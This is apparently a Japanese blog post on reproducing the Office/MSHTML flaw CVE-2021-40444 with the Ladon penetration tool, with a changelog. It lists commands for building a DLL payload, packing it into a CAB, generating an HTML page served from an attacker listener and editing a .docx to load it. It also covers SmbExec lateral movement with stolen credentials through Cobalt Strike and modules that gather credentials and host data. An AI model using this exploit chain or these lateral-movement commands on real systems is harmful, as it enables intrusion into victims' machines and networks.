〖EXP〗Ladon CVE-2021-40444 Office脆弱性再現

脆弱性概要

日本時間9月8日、綠盟科技CERTがMicrosoftのセキュリティ通告を監視し、Microsoft MSHTMLのリモートコード実行脆弱性が発表されたことを確認した。攻撃者は悪意のあるActiveXコントロールを作成し、それをホストするブラウザレンダリングエンジンであるMicrosoft Office文書で使用させ、ユーザーに悪意のある文書を開かせると、ターゲットシステム上でそのユーザーの権限で任意のコードを実行できる。Microsoftは通告の中で、この脆弱性が野外で悪用されていることを検出したと述べ、関連ユーザーに対策を講じるよう呼びかけている。

MSHTML（Tridentとも呼ばれる）はMicrosoftのInternet Explorerブラウザエンジンであり、OfficeアプリケーションでもWord、Excel、PowerPoint文書内でWebホストされたコンテンツを表示するために使用される。ActiveXコントロールはMicrosoft COMアーキテクチャの産物であり、WindowsのOfficeスイートやIEブラウザで広く使用されており、ActiveXコントロールを使用してMSHTMLコンポーネントと対話できる。

影響を受けるバージョン

Windows 7/8/8.1/10、Windows Server 2008/2008R2/2012/2012R2/2016/2019/2022

Ladon8.9更新機能

Ladon 8.9 2021.9.14 [+]CVE-2021-40444 Microsoft MSHTMLリモートコード実行脆弱性、Office文書利用モジュール 影響を受けるバージョン: Windows 7/8/8.1/10、Windows Server 2008/2008R2/2012/2012R2/2016/2019/2022 [+]CmdDll cmdをDLLに変換(Winシステム0day脆弱性DLL実行コマンドペイロード、直接powershellでCobaltStrikeに接続可能) バッファオーバーフロー脆弱性（MS17010など）、ローカル権限昇格（CVE-2021-1675など）、非オーバーフロー（最新のOffice脆弱性CVE-2021-40444など）

Ladon 8.8 2021.911 [+]SmbExec NTLM-HASH非対話型実行（出力なし） [u]GetInfo Vmware仮想マシン情報を追加 [u]OsScan Vigor Routerルーター識別を追加 [u]Xen\VBOX\Hybrid\Parallels仮想マシン識別を追加 [+]GetInfo cmdkey、RrpLog、ドライバインストール、ソフトウェア一覧、最近アクセスしたファイルなどを追加 [+]GetInfo GUID、CPUID、ハードディスクID、自動起動バックドア検出（DLL保持、レジストリなど）を追加 [+]GetInfo2 WMIパッチ情報取得を追加 [+]デフォルト情報 Cドライブ空き容量が2GB未満の場合に強調表示

ladon8.9モジュールの使い方

CmdDLLの使い方

Usage:
Ladon CmdDll x86 calc
Ladon CmdDll x64 calc
Ladon CmdDll b64x86 YwBhAGwAYwA=
Ladon CmdDll b64x64 YwBhAGwAYwA=

実際の必要に応じて対応するCMDコマンドを使用してDLLを生成します。例は電卓を起動します。

CVE-2021-40444の使い方

Usage:
Ladon CVE-2021-40444 MakeCab poc.dll
Ladon CVE-2021-40444 MakeHtml http://192.168.1.8

PS: このモジュールはLadon40.exeを使用する必要があります

CVE-2021-40444再現

テスト環境

Win10 x64 0ffice 2019

Office2019のインストール

適当な試用版を探せばよく、アクティベートする必要はありません。もしIMGをダウンロードした場合は、IMGをZIPに変更して解凍してインストールしてください。

CmdDllでdllを生成

CVE-2021-40444 MakeCabでDLLをCABに変換

ターゲットはWin10 X64システムなので、64ビットDLLを使用します。コマンド：Ladon CVE-2021-40444 MakeCab sc64.dll

CVE-2021-40444 MakeHtmlでPoc.htmlを生成

htmlを生成。URLはLadonがリッスンしているアドレスを指定する必要があります。

Webリスナーを起動

docサンプル修正

サンプルは9月10日に小密圏で配信済み。docxファイルの拡張子をcabまたはzipに変更し、relsファイルを編集してLadonリスナーがリッスンするアドレスのpoc.htmlを指定し、保存して再度.docxにリネームします。

テストGIF

Win10でdocファイルを実行すると、Ladonのリスナーを通じてリクエストプロセス全体を確認できます。docxが最初にhtmlにアクセスし、脆弱性によってカプセル化されたCABファイルがロードされ、CPLを介してINFがインストールされ、DLLがロードされます。デモDLLの機能は電卓を起動することです。

SmbExecの使い方

Load SmbExec
Usage:
Ladon SmbExec host user pass cmd whoami
Ladon SmbExec host user pass b64cmd dwBoAG8AYQBtAGkA

SmbExecの実行

Cobalt StrikeのシェルでSmbExecを実行する際、スペースや引用符を含むパラメータが必要な場合、CSのエスケープに問題があります。通常のCMDコマンドを使用するのは面倒なので、b64cmdパラメータを追加してCSで使いやすくしました（この方法は数ヶ月前のBypassUacで使用されましたが、多くの人はなぜこのようにするのか、直接CMDコマンドでいいのではないか、わざわざ暗号化する必要があるのかと疑問に思っています。しかし、実行するCMDコマンドに多くのエスケープが含まれている場合、CSのエスケープを経てCMDのエスケープに変換し、正常なCMDを得るのは非常に面倒です）。b64cmdコマンドはLadonGUI 8.2以降のバージョンでBase64Unicode暗号化を使用して生成できます。

実行結果

Ladonその他の横方向移動モジュール

Ladonダウンロード

PowerLadon: https://github.com/k8gege/PowerLadon 歴史バージョン: http://github.com/k8gege/Ladon/releases 7.0バージョン：http://k8gege.org/Download 8.9バージョン：K8小密圏